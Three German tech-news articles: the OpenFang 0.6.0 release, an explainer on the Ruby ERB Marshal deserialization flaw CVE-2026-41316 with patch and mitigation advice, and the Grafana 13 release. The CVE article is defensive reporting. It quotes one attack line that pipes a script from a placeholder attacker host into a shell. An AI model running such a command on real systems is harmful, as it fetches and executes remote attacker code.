Mit Version 0.6.0 erweitert das Open-Source-Projekt OpenFang sein Framework für Agenten und Automatisierung um drei zentrale Funktionen: Cron-Jobs mit mehreren Zielen (Fan-out), konfigurierbare Skill-Templates und eine zentrale Registry für Slash-Befehle. Das Release soll die Orchestrierung über verschiedene Ausgabekanäle hinweg vereinheitlichen, abweichende Konfigurationen reduzieren und den Betrieb durch konsistente APIs sowie eine durchgängige Anbindung an Dashboard und TUI vereinfachen.

OpenFang ist ein in Rust geschriebenes Framework für KI-gestützte Automatisierung und agentenartige Workflows. Es kombiniert einen Scheduler mit der Möglichkeit, Ergebnisse über Kanäle wie Chat-Dienste, E-Mail oder Webhooks zu verteilen, und lässt sich per CLI, Web-Oberfläche und API steuern. Anders als Projekte wie OpenClaw, die vor allem die Laufzeitlogik von Agenten und deren Tool-Nutzung in den Mittelpunkt stellen, konzentriert sich OpenFang auf die Orchestrierung und den operativen Betrieb solcher Fähigkeiten. Beide Ansätze überschneiden sich beim Konzept der „Skills“, setzen aber unterschiedliche Schwerpunkte.

Cron-Jobs mit mehreren Zielen

Im Zentrum der Neuerungen steht die Möglichkeit, Cron-Jobs mit mehreren Zielsystemen zu verknüpfen. Ein einzelner Job kann seine Ergebnisse parallel an verschiedene Empfänger ausliefern – etwa an über 40 Chat-Kanäle wie Slack, Telegram oder Teams, an Webhooks, in lokale Dateien oder per E-Mail. Die Konfiguration erfolgt deklarativ in einer einzigen Jobdefinition.

Schlägt die Auslieferung an ein Ziel fehl, protokolliert OpenFang den Fehler, ohne den gesamten Job abzubrechen. Ein typischer Anwendungsfall im Produktivbetrieb sind automatisierte Reports, die gleichzeitig an einen Slack-Channel, ein internes BI-System per Webhook und ein revisionssicheres Logfile gehen. Verwalten lassen sich die Jobs über die Scheduler-Oberfläche im Dashboard oder per API.

Skills als Templates und zentrale Befehlsverwaltung

Ferner können Entwickler Skills nun als Templates mit konfigurierbaren Variablen definieren. Die Variablen beschreibt das Frontmatter von SKILL.md. Zur Laufzeit löst OpenFang sie aus mehreren Quellen auf: zuerst aus der zentralen Konfigurationsdatei config.toml, dann aus Umgebungsvariablen, schließlich aus Default-Werten. Fehlen Pflichtparameter, bricht die Ausführung mit einem Fehler ab. Sensible Daten wie Tokens oder Schlüssel maskiert das Framework automatisch im erzeugten Prompt.

Damit lässt sich derselbe Skill mehrfach mit unterschiedlichen Parametern einsetzen – etwa, um identische Logik auf verschiedene Slack-Kanäle oder Datenquellen anzuwenden. Konfigurieren lässt sich das wahlweise über die Web-Oberfläche oder direkt in der Konfigurationsdatei.

Die dritte größere Neuerung ist eine zentrale Registry für Slash-Befehle. Alle verfügbaren Kommandos liegen nun an einer Stelle und tragen Metadaten wie Kategorien, Aliase und unterstützte Oberflächen. Daraus generiert OpenFang automatisch Hilfetexte und Autovervollständigung; eine API stellt die Befehle zudem für das Dashboard bereit. Damit verhalten sich einmal definierte Befehle einheitlich über alle Oberflächen hinweg – also CLI, Web-UI und Chat-Integrationen wie Discord oder Slack.

Neue APIs und Verbesserungen unter der Haube

Ergänzend bringt das Release mehrere neue API-Endpunkte mit, darunter Schnittstellen zum Abfragen der Befehle, zum Verwalten von Schedules samt Zielen und Protokollen sowie für CRUD-Operationen auf Skill-Konfigurationen.

Zu den weiteren Verbesserungen zählt ein atomarer Schreibmechanismus für die zentrale Konfigurationsdatei, der Datenverlust bei Abstürzen verhindern soll. Außerdem lassen sich Konfigurationsänderungen jetzt zur Laufzeit übernehmen, ohne den Dienst neu zu starten. Details zur neuen OpenFang-Version finden sich in den Release Notes auf GitHub.

(fo)

Die unter CVE-2026-41316 (CERT-Bund: WID-SEC-2026-1187) registrierte Schwachstelle in Rubys Standard-Template-Bibliothek ERB hebelt den eingebauten Schutz gegen schädliche Deserialisierung aus. Besonders Rails-Anwendungen sind betroffen, die Daten einer Marshal-Serialisierung aus unsicheren Quellen verarbeiten. Mögliche Folge: Remote Code Execution.

Das Ruby-Team hat die Sicherheitslücke am 21. April 2026 veröffentlicht und gleichzeitig einen Fix bereitgestellt. Der Fehler umgeht einen in ERB fest eingebauten Schutzmechanismus gegen schädliche Deserialisierung. Über eine sogenannte Gadget-Chain können Angreifer die Lücke zu Remote Code Execution (RCE) auf dem Server ausnutzen. Entdeckt und gemeldet hat die Schwachstelle TristanInSec.

GitHub vergibt für die Lücke einen CVSS-3.1-Score von 8.1 (High), CERT-Bund stuft sie als kritisch ein. Der Unterschied spiegelt die jeweilige Bewertungslogik wider: CVSS berücksichtigt die erschwerende Komplexität für die Ausnutzung (Metrik AC:H), weil die Lücke zusätzliche Voraussetzungen aufseiten der Anwendung benötigt. CERT-Bund orientiert sich stärker am Schadenspotenzial im Erfolgsfall, also an der möglichen RCE-Wirkung.

Das GitHub Security Advisory enthält neben der technischen Beschreibung einen funktionierenden Proof-of-Concept, der die Ausnutzung mit wenigen Zeilen Ruby-Code demonstriert.

Was ist betroffen?

Verwundbar sind alle Versionen des erb-Gems bis einschließlich 6.0.3. Damit liefert faktisch jede aktuelle Rails-Installation eine verwundbare ERB-Version mit. Tatsächlich angreifbar ist eine Anwendung aber nur, wenn beide folgenden Bedingungen zutreffen:

• Die Anwendung ruft an irgendeiner Stelle mit Marshal.load Daten auf, die ein Angreifer unter Kontrolle hat.
• Zur Laufzeit ist neben ERB auch ActiveSupport geladen, was bei jeder Rails-Anwendung automatisch der Fall ist.

Typische Orte, an denen Marshal.load in einer Ruby- oder Rails-Anwendung überhaupt zum Einsatz kommt, sind Rails.cache mit dem Default-Serializer Marshal, Import-Endpunkte für Marshal-Dumps sowie Marshal-kodierte Session-Cookies älterer Rails-Versionen. Die Job-Queues Sidekiq und Resque serialisieren per JSON und sind hier unauffällig. Ein konkretes Risiko entsteht an diesen Stellen aber erst, wenn dort tatsächlich vom Angreifer kontrollierbare Daten ankommen können, etwa bei einem offen erreichbaren Cache, einem geleakten secret_key_base oder einem ungeschützten Import-Endpunkt.

Ein erfolgreicher Angriff beschert dem Täter vollständige Code-Ausführung im Kontext des Ruby-Prozesses. Typische Szenarien reichen vom Auslesen sensibler Daten über das Platzieren von Backdoors bis zur vollständigen Übernahme der Anwendung und lateraler Bewegung ins interne Netz.

Marshal-Abhängigkeiten überprüfen

Wer Marshaling nicht selbst aktiv einsetzt, kann sich auf Punkt 1 beschränken: Gem aktualisieren, fertig. Punkt 2 richtet sich an Entwickler, die Marshal bewusst einsetzen oder in einer Abhängigkeit vermuten.

1. Gem aktualisieren: bundle update erb. Gepatchte Versionen sind 4.0.3.1, 4.0.4.1, 6.0.1.1 sowie 6.0.4. Das Update schließt die Lücke unabhängig von der verwendeten Ruby-Version.
2. Marshal-Stellen prüfen: Alle Aufrufe von Marshal.load im eigenen Code und in Abhängigkeiten identifizieren. An jeder Stelle, wo die gelesenen Daten aus einer nicht vertrauenswürdigen Quelle stammen könnten, muss dieser Pfad unterbrochen werden, etwa durch strikte Herkunftsvalidierung oder durch Umstellung auf ein in der Bauart sicheres Format an genau dieser Schnittstelle.

Hintergrund: Was sind ERB und Marshal?

ERB steht für „Embedded Ruby“ und ist Rubys Standard-Template-Engine. Die Bibliothek erlaubt es, Ruby-Code direkt in Textdateien einzubetten, vergleichbar mit PHP in HTML. Ruby ersetzt Platzhalter der Form <%= nutzer.name %> beim Rendern durch echte Werte, während <% ... %> Ruby-Code ohne Ausgabe ausführt. Ruby on Rails erzeugt mit ERB seine HTML-Views, aber auch YAML-Konfigurationen. E-Mails oder generierte Skripte basieren in vielen Ruby-Projekten auf ERB.

Weil Templates Code ausführen, gilt ERB seit jeher als sicherheitskritischer Codebereich: Wer die Template-Quelle kontrolliert, kontrolliert den Server.

Marshal ist Rubys eingebautes Binärformat für die Serialisierung von Objekten. Das braucht man überall dort, wo ein Ruby-Objekt den eigenen Prozess verlassen soll: um in einen Cache oder eine Datei geschrieben, an einen anderen Worker in einer Job-Queue übergeben oder über einen Prozess-Neustart hinweg aufbewahrt zu werden. Im Arbeitsspeicher ist ein Objekt eine Datenstruktur mit Verweisen, die außerhalb des Prozesses nicht existiert; als Byte-Sequenz wird daraus ein portabler Blob, den die Gegenseite wieder zurück in das ursprüngliche Objekt wandeln kann. Marshal.dump(obj) erzeugt diese Byte-Sequenz, Marshal.load(bytes) baut daraus das Objekt wieder zusammen. Das Konzept entspricht pickle in Python, serialize/unserialize in PHP oder ObjectInputStream in Java.

In Ruby- und Rails-Projekten taucht Marshal vorwiegend im Hintergrund auf: als Default-Serializer des Rails-Caches (Rails.cache), in Hintergrund-Job-Queues, in Session-Cookies älterer Rails-Versionen oder bei Interprozess-Kommunikation. Beim Rekonstruieren darf Marshal beliebige Klassen instanzieren und deren Callbacks auslösen. Deshalb gilt seit Jahren die Faustregel: Marshal.load niemals auf Daten anwenden, die aus nicht vertrauenswürdigen Quellen stammen.

Die Klasse von Angriffen, die genau diese Rekonstruktion für Remote Code Execution missbraucht, heißt Gadget-Chain. Im Ruby-Ökosystem sind solche Gadget-Chains seit rund einem Jahrzehnt dokumentiert; CVE-2026-41316 gilt laut GitHub-Advisory als sechste Generation funktionierender Marshal-Gadgets.

Der eigentliche Fehler: Ein vergessener Check

Genau diesen Angriffspfad wollte ERB eigentlich versperren. Der Konstruktor hinterlegt im Objekt ein internes Flag namens @_init, das auf ein sehr spezielles Marker-Objekt zeigt, die sogenannte Singleton-Klasse der ERB-Klasse. Vor der Auswertung eines Templates prüft ERB per Identitätsvergleich, ob @_init exakt auf dieses Marker-Objekt zeigt. Stimmt es, läuft die Auswertung. Stimmt es nicht, fliegt eine Exception mit der Meldung „not initialized“.

Der Clou liegt darin, dass Marshal dieses Marker-Objekt gar nicht serialisieren kann. Marshal identifiziert Klassen-Referenzen beim Speichern über ihren Konstantennamen und schlägt sie beim Laden unter diesem Namen wieder nach. Singleton-Klassen sind anonym, haben keinen Namen und existieren nur zur Laufzeit. Ein Versuch, ein frisches ERB-Objekt zu dumpen, scheitert sogar explizit mit TypeError: singleton can't be dumped. Für einen Angreifer heißt das: Er kann in einem selbst gebauten Marshal-Blob den Wert, den die Prüfung erwartet, nicht hinterlegen. Sein rekonstruiertes Objekt scheitert am Vergleich und darf keine Template-Auswertung auslösen. So weit, so gut gedacht.

Das Problem: Drei Methoden prüfen @_init nicht. def_method, def_module und def_class greifen direkt auf die Template-Quelle zu und führen sie aus, ohne den Guard zu konsultieren. Besonders def_module ist brisant, weil sie ohne Argumente aufrufbar ist und sich deshalb als letztes Glied einer Gadget-Chain eignet. Die eigentlich elegant konstruierte Schutzidee wird an drei vergessenen Stellen komplett umgangen.

Diese Lücke macht eine Anwendung nicht aus sich heraus angreifbar. Sie wird erst ausnutzbar, wenn an anderer Stelle bereits etwas schiefgelaufen ist. Voraussetzung ist immer, dass die Anwendung an irgendeiner Stelle Marshal.load auf Bytes anwendet, die ein Angreifer kontrolliert. Über ein normales Web-Formular allein lässt sich das nicht auslösen, denn Rails parst Formulareingaben nicht per Marshal. Der Angreifer braucht zusätzlich einen der folgenden Türöffner.

Türöffner 1: Geleakter secret_key_base und Marshal-Session-Cookies

Der historisch häufigste Weg zu einer Marshal-RCE in Rails: Der secret_key_base der Anwendung ist bereits kompromittiert, etwa durch ein versehentlich öffentliches Git-Repo, einen ungeschützten Backup-Dump oder eine Error-Seite mit Umgebungsvariablen. Wer diesen Schlüssel besitzt, kann gültige Session-Cookies selbst signieren.

Hat eine ältere Rails-Installation zusätzlich Cookie-basierte Sessions mit Marshal-Serialisierung konfiguriert, erzeugt der Angreifer ein präpariertes Cookie, das bei der Deserialisierung eine Gadget-Chain auslöst und am Ende def_module auf einem ERB-Objekt aufruft. Dessen Template-Quelle enthält Ruby-Code des Angreifers, etwa system("curl angreifer.tld/shell.sh | sh"). Das Resultat: Remote Code Execution über einen normalen HTTP-Request, ohne Zugriff auf interne Systeme.

Dieser Pfad betrifft vor allem ältere Installationen. Rails legt für neu erstellte Anwendungen ab Version 4.1 (2014) standardmäßig JSON statt Marshal für Cookie-Sessions fest; vor 4.1 erstellte Anwendungen mussten für diesen Wechsel explizit migriert werden. Wer nicht explizit auf :marshal festgepinnt ist, ist hier nicht angreifbar.

Ein geleakter secret_key_base ist für sich bereits ein kritischer Sicherheitsvorfall. Er erlaubt auch ohne diese CVE das Fälschen von Sessions und das Entschlüsseln sensibler Cookie-Inhalte. Die ERB-Lücke ist in diesem Szenario nicht die Ursache des Schadens, sondern der Verstärker, der aus dem Secret-Leak direkt eine Server-Übernahme macht.

Türöffner 2: Import-Endpunkte für Marshal-Dumps

Manche Anwendungen akzeptieren Marshal-Dumps als Datei-Upload, etwa zum Importieren von Konfigurationen oder zum Wiederherstellen von Zuständen. Landet ein solcher Upload ohne Validierung in Marshal.load, liefert der Angreifer sein Payload direkt.

Unabhängig von dieser CVE ist ein solcher Endpunkt allerdings eine grundlegend schlechte Designentscheidung. Rubys eigene Dokumentation warnt seit Jahren ausdrücklich davor, Marshal.load auf Daten aus nicht vertrauenswürdigen Quellen anzuwenden. In jeder realen Rails-Anwendung existieren zahlreiche Marshal-Gadget-Chains, von denen CVE-2026-41316 nur eine unter vielen ist. Wer einen Marshal-Upload akzeptiert, war auch schon vor dieser Lücke per RCE angreifbar und bleibt es danach, solange der Endpunkt existiert. Ein ERB-Update schließt ein einzelnes Gadget, nicht die Klasse. Die einzig saubere Antwort ist nicht patchen, sondern den Marshal-Pfad entfernen und auf ein Format mit Schema-Validierung wechseln, etwa JSON.

Türöffner 3: Schreibzugriff auf Cache oder Job-Queue

Wer Schreibzugriff auf Redis, Memcached oder eine Marshal-nutzende Job-Queue erlangt, kann präparierte Blobs ablegen, die beim nächsten Lesen via Marshal.load zu RCE führen (Cache-Poisoning). Der Schreibzugriff setzt allerdings voraus, dass der Cache-Server offen im Netz erreichbar, mit einem anderen kompromittierten Dienst geteilt oder anderweitig bereits zugänglich ist. In der Praxis eher ein Post-Exploitation- als ein Einstiegs-Szenario.

Fazit: Fehlkonfigurationen vermeiden

Wer saubere Basishygiene betreibt (Secrets nicht leaken, keine Marshal-Uploads akzeptieren, Caches und Queues absichern), hat durch diese CVE allein kein verwertbares Einfallstor. Der Bug ist ein Verstärker für vorhandene Fehlkonfigurationen und geleakte Secrets, kein eigenständiger Fernzugriff. Patchen sollte man trotzdem zeitnah, denn der Bug vergrößert die Schadenwirkung fast jeder denkbaren Vorstufe.

(who)

Grafana Labs hat auf seiner Hausmesse GrafanaCON 2026 in Barcelona Version 13 seiner Open-Source-Observability-Plattform vorgestellt. Neben einer Reihe neuer Dashboard-Funktionen umfasst das Release tiefgreifende Änderungen an der Log-Datenbank Grafana Loki sowie vereinfachte Installationspakete für OpenTelemetry.

Wie Grafana Labs in der Ankündigung erläutert, reagiert das Unternehmen mit den Neuerungen auf ein Kernproblem vieler IT-Teams: Laut dem von Grafana Labs durchgeführten Observability Survey 2026 nennen mehr als 38 Prozent der befragten Organisationen Komplexität als größte Herausforderung – während gleichzeitig über 77 Prozent auf Open Source oder offene Standards setzen.

Suggested Dashboards und Dynamic Dashboards

Ein zentrales Feature in Grafana 13 sind die Suggested Dashboards. Diese Funktion analysiert angebundene Datenquellen und schlägt auf Basis einer Kompatibilitätsbewertung geeignete Dashboards vor – inklusive vorgefertigter Templates etwa für DORA-Metriken oder USE/RED-Methoden. IT-Teams, die standardisierte Monitoring-Methoden einsetzen, sollen damit schneller zu aussagekräftigen Visualisierungen kommen, ohne bei null anfangen zu müssen. Die Funktion steht als Public Preview in allen Editionen von Grafana 13 zur Verfügung.

Als allgemein verfügbar gelten auch die Dynamic Dashboards, die auf einem neuen Dashboard-Schema (v2) aufsetzen. Sie bieten unter anderem Verschachtelung, Tabs und Drag-and-Drop-Layouts. Ebenfalls allgemein verfügbar in allen Editionen: Visualization Suggestions, die anhand von Metadaten automatisch geeignete Darstellungsformen für Daten vorschlagen. Saved Queries ermöglichen die Wiederverwendung häufig genutzter Abfragen – eine Funktion, die besonders in größeren Teams das Onboarding beschleunigen sollte.

Loki: Bis zu 20-mal weniger gescannte Daten

Für die Log-Datenbank Loki hat Grafana Labs die Architektur grundlegend überarbeitet. Ein neuer Query Planner teilt Abfragen in parallele Partitionen auf und nutzt Data Locality, um Zugriffe effizienter zu gestalten. In Kombination mit einer auf Apache Kafka basierenden Ingestion-Pipeline sollen bis zu 20-mal weniger Daten bei Aggregationsabfragen gescannt werden und die Antwortzeiten um den Faktor 10 sinken. Unternehmen mit hohem Log-Aufkommen sollten dadurch ihre Infrastrukturkosten für Speicher und Rechenleistung deutlich senken können.

Ergänzend hat Grafana Labs das Start-up Logline übernommen, das auf performante Suche in Log-Daten spezialisiert ist, die eine hohe Kardinalität aufweisen. Die von Gründer Jason Nochlin entwickelte Technologie soll „Nadel-im-Heuhaufen“-Abfragen verbessern – etwa die Suche nach einer bestimmten User-ID oder einem seltenen Fehlercode in großen Datenmengen. Integriert in Loki soll Logline präzise Volltextsuche ermöglichen, ohne den Index-Aufwand zu erhöhen. Gerade bei strukturierten Logs im OpenTelemetry-Format mit vielen einzigartigen Attributwerten ist das relevant.

Vereinfachtes OpenTelemetry-Setup und Git-Sync

Beim Thema OpenTelemetry (OTel) setzt Grafana 13 auf Vereinfachung: Neue integrierte Pakete erlauben die Installation unter Linux mit einem einzigen Kommando, für Kubernetes steht ein Operator bereit. Die eigene OTel-Collector-Distribution Grafana Alloy unterstützt nun einen OTel-Engine-Modus mit YAML-Konfiguration, was den Einstieg in die Telemetrie-Instrumentierung erleichtert.

Für den Betrieb im Team stellt Grafana 13 ab sofort eine Git-Sync-Funktion bereit. Hinweis für frühe Umsteiger: Ein Migrationsfehler in Version 13.0.0 kann beim Upgrade von Grafana v12 mit aktiviertem Git Sync Dashboards und Ordner zurücksetzen – Grafana Labs empfiehlt daher, vorab die Upgrade-Hinweise in der Dokumentation zu prüfen. Dashboards lassen sich damit bidirektional mit GitHub, GitLab, Bitbucket oder generischen Git-Repositories synchronisieren – ein Schritt in Richtung Infrastructure as Code (IaC) für Monitoring-Konfigurationen. Ein überarbeitetes Secrets-Handling, Dashboard Restore und der neue Grafana Advisor für automatische Health Checks runden das Release ab. Grafana 13 unterstützt laut Anbieter nun über 170 Datenquellen und 120 Visualisierungspanels.

Co-Gründer Anthony Woods betonte in seiner Keynote, die Zukunft der Observability werde „durch Interoperabilität und Community-getriebene Innovation definiert, nicht durch geschlossene Systeme“. Grafana Labs zählt nach eigenen Angaben mehr als 35 Millionen Nutzer weltweit und beschäftigt über 1.400 Mitarbeiter in mehr als 40 Ländern.

(map)